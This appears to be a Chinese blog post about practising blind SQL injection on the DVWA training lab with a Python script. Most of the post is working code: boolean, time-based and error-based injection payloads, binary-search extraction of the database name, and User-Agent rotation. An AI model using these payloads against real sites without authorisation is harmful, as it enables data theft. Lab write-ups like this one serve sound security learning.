Featured image of post DVWA sql盲注with python

DVWA sql盲注with python

使用python练习编写脚本,python的复健

以DVWA靶场的盲注为例子。

分析

对网页的响应进行分析

  1. 设置的是low level
  2. 测试注入语句:1' OR LENGTH(database())=4 #
  3. 响应的URL:http://dvwa/vulnerabilities/sqli_blind/?id=1%27+OR+LENGTH%28database%28%29%29%3D4%23&Submit=Submit#
  4. 关键响应内容: image.png

5, 如果超出了范围,<pre>标签中显示的语句:User ID is MISSING from the database.

还可以进一步结合源代码分析——POST或者GET的请求方式?

编写思路

盲注方法

基本的盲注有三种:

  • 布尔
  • 时间
  • 错误

为了方便编写代码与理解,就选择布尔来作为例子

获取敏感信息步骤

  • 数据库名称长度
  • 数据库名称
  • 数据库列
  • ……

其实第一步和第二步一般可以写在一起,这里拆开写,方便自己理解之外就是方便扩展

获取数据库名称长度

  • 给定一个长度范围
  • 使用sql injection语句结合长度进行请求
  • 通过响应内容来得到正确信息
  • 发送请求

sql injection语句

延用上面的那一个:1' OR LENGTH(database())=4 #

  1. 长度数字:变量
  2. 完整的target_url的构造
  3. 遍历

重点代码如下:

1
2
query = f"1' AND LENGTH(DATABASE()) = {i} %23"
full_url = f"{base_url}?id={query}&Submit=Submit#"

i是长度数字,会在遍历中进行替换


所需的响应内容

结合响应信息得到:

1
2
3
4
errorText = [  
    "User ID is MISSING from the database.",  
    "User ID exists in the database."  
]

按理说其实只用得到第二条。

重点代码:

1
2
3
4
5
6
7
response = requests.get(full_url, headers=self.get_random_agent())  
  
if errorText[1] in response.text:  
    print("YES")  
    print(f"[*] DATABASE LENGTH: {i}")  
  
    return i

发送请求

目前只考虑了User-Agents。(重发机制、限速机制……不属于基础script后续再说)

  • 构造或者找几个agents
1
2
3
4
5
[  
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",  
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",  
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15"  
]
  • 随机选择一个
1
2
headers = {"User-Agent": random.choice(self.agents)}  
return headers

最后考虑到数据库名称不会有多离谱的长度,所以简单的遍历就可以满足,暂时不需要什么优化算法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def get_random_agent(self):  
    headers = {"User-Agent": random.choice(self.agents)}  
    return headers  
  
def get_db_length(self):  
    for i in range(1, 21):  # 从 1 开始  
        query = f"1' AND LENGTH(DATABASE()) = {i} %23"        
        full_url = f"{base_url}?id={query}&Submit=Submit#"  
        response = requests.get(full_url, headers=self.get_random_agent())  
  
        if errorText[1] in response.text:  
            print("YES")  
            print(f"[*] DATABASE LENGTH: {i}")  
  
            return i


获取数据库名称

  • 根据上一步得到数据库名称长度
  • 根据不同数据库系统对名称的要求,测试使用的mysql在Windows环境下不区分大小写、包含数字、特殊字符,所以ascii范围:32-126
1
2
3
4
5
6
RANGES = { 
"lowercase": (97, 122), # a-z 
"uppercase": (65, 90), # A-Z 
"numbers": (48, 57), # 0-9 
"special": [(32, 47), (58, 64), (91, 96), (123, 126)] # 特殊字符 
}
  • 两个遍历,考虑使用优化算法

构造full_url

基本没有什么区别,只是有两个变量:

  • 当前猜测的第x个字符: index
  • 当前猜测的字符的ascii码: mid
1
2
3
query = f"1' AND ascii(substr(DATABASE(), {index}, 1)) > {mid} %23"
full_url = f"{base_url}?id={query}&Submit=Submit#"  
response = requests.get(full_url, headers=self.get_random_agent())

为什么是mid,和使用的优化算法有关


优化算法——二分查找算法

基本版本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def binary_search_iterative(arr, target):  
    """ 迭代实现二分查找 """    left, right = 0, len(arr) - 1  
  
    while left <= right:  
        mid = (left + right) // 2  
        if arr[mid] == target:  
            return mid  
        elif arr[mid] > target:  
            right = mid - 1  # 继续查找左半部分  
        else:  
            left = mid + 1  # 继续查找右半部分  
  
    return -1  # 未找到返回 -1

想起来这个得感谢被期末折磨的自己

进行一些因地制宜的改造:

获取单个字符:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
def bisect_with_name(self, index):  
  
    low, high = 32, 126  
  
    while low <= high:  
        mid = (low + high) // 2  
	    query = f"1' AND ascii(substr(DATABASE(), {index}, 1)) > {mid} %23"
	    full_url = f"{base_url}?id={query}&Submit=Submit#"  
        response = requests.get(full_url, headers=self.get_random_agent())  
  
        if errorText[1] in response.text:  
            low = mid + 1  
        else:  
            high = mid - 1  
  
    final_char = chr(low)  
    print(f"[*] FIND CHARACTER AT POSITION {index}: {final_char}")  
  
    return final_char

最后汇总一下所有获得的字符:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def get_db_name(self, length):  
  
    res = []  
  
    for i in range(1, length+1):  
        res.append(self.bisect_with_name(i))  
  
    db_name = "".join(res) # 将数组转换为字符串  
    print(f"[*] DATABASE NAME: {db_name}")  
    return db_name

这里再贴一个使用传统两层遍历的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def brute_force_db_name(self, length):

        """ 使用暴力枚举方法逐个字符猜解 DATABASE() 名称 """

        res = []
        
        for index in range(1, length + 1):  # 逐个字符猜解
            for ascii_code in range(32, 127):  # 遍历所有可打印字符
                query = f"1' AND ascii(substr(DATABASE(), {index}, 1)) = {ascii_code} %23"
                full_url = f"{self.base_url}?id={query}&Submit=Submit#"
                response = requests.get(full_url, headers=self.get_random_agent())

                if errorText[1] in response.text:
                    found_char = chr(ascii_code)
                    res.append(found_char)
                    print(f"[*] FIND CHARACTER AT POSITION {index}: {found_char}")
                    break  # 发现正确字符后,跳出内循环

        db_name = "".join(res)
        print(f"[*] DATABASE NAME (BRUTE FORCE): {db_name}")
        return db_name


性能对比

基本代码就这样。

用使用了二分查找算法的和原始的进行了一个粗略的耗时比较(单位:秒):

使用二分查找 使用两层遍历
12.21656890000122 142.61180740000054


扩展一些功能

  1. 可自选的请求方法
  2. 可自选的盲注方式
  3. 超时处理

自选请求方法

requests.get():GET方法

requests.post():POST方法

两者都有很多参数,不过我为了方便修改target_url,在前面使用的是占位符替换。

  • 对于GET方法,延用上面的占位符替换URL
  • 对于POST使用data参数来传递payload

POST

对于参数params来说,需要具体分析。在这里的注入点是id,所以写id。同时还有Submit这个参数也必须写上,所以得到参数如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
params = {  
    "id": selected_payload,  
    "Submit": "Submit"  
}

response = requests.post(
	self.base_url, 
	data=params, 
	headers=self.get_random_agent(), 
	timeout=60
)

对于超时处理,使用timeout参数,结合try-expect

  • 可以超时重传(但实际没有写)

完整函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
def send_request(self, selected_payload):  
  
    params = {  
        "id": selected_payload,  
        "Submit": "Submit"  
    }  
  
    full_url = f"{base_url}?id={selected_payload}&Submit=Submit#"  
  
    try:  
        if self.request_method == "GET":  
            response = requests.get(full_url, headers=self.get_random_agent(), timeout=60)  
        elif self.request_method == "POST":  
            response = requests.post(self.base_url, data=params, headers=self.get_random_agent(), timeout=60)  
        else:  
            print("[!] unknown request method ")  
            return None  
    except requests.Timeout:  
        print("[!] Request Timeout")  
        return None

自选盲注方式

前面提到了有三种基本盲注方式,分别有不同的适合场景——DVWA的四个level的靶场就是不同的盲注方式的利用。

前面的代码只是使用了一种方法的,如果想要使用其他的简单来说只需要更换sql injection语句和相关的部分代码就行,但还是有点不够方便,所以使用字典来存储payload和检查信息——更方便利用且不会造成不必要的代码冗余。

猜解数据库名称长度示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
query = [  
    # 布尔盲注,用于GET  
    {  
        "payload": lambda i: f"1' AND LENGTH(DATABASE()) = {i} %23",  
        "check": lambda r: errorText[1] in r.text  
    },  
    # 时间盲注  
    {  
        "payload": lambda i: f"1' AND IF(LENGTH(DATABASE())={i}, SLEEP(6), 0) %23",  
        "check": lambda r: r.elapsed.total_seconds()>=4  
    },  
    {  
        "payload": lambda i: f"1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (LENGTH(database())={i}), 0x3a, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) %23",  
        "check": lambda r: r.status_code == 500  
    }  
  
]

这样,在启动的时候,只需要输入所需要使用的语句的标号就行了——[0, 1, 2]

  • (optional:可以增加一个输入检查要求输入的标号是否在合法范围内)

适当的,对__init__()进行修改:

  • 增加盲注方式选项:operation_code
  • 增加请求方式选项:request_method
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def __init__(self, base_url, operation_code, request_method):  
    self.session = requests.session()  
    self.base_url = base_url  
    self.operation_code = operation_code  
    self.request_method = request_method  
    self.agents = [  
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",  
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",  
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15"  
    ]

最后一个就是对于信息的检查

这里也是使用上面的字典结构的原因:

代码:

1
2
3
4
5
6
7
8
9
selected_query = query[self.operation_code] # 从query字典中选择payload
for i in range(1, 21):  # 从 1 开始  
  
    payload = selected_query["payload"](i)  # 传入i
    response = self.send_request(payload)  
  
    if selected_query["check"](response):  
        print(f"[*] DATABASE LENGTH: {i}")  
        return i

上面举例了对数据库名称长度进行盲注获取的函数的改造,后续的几个函数也是大差不差的效果。

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy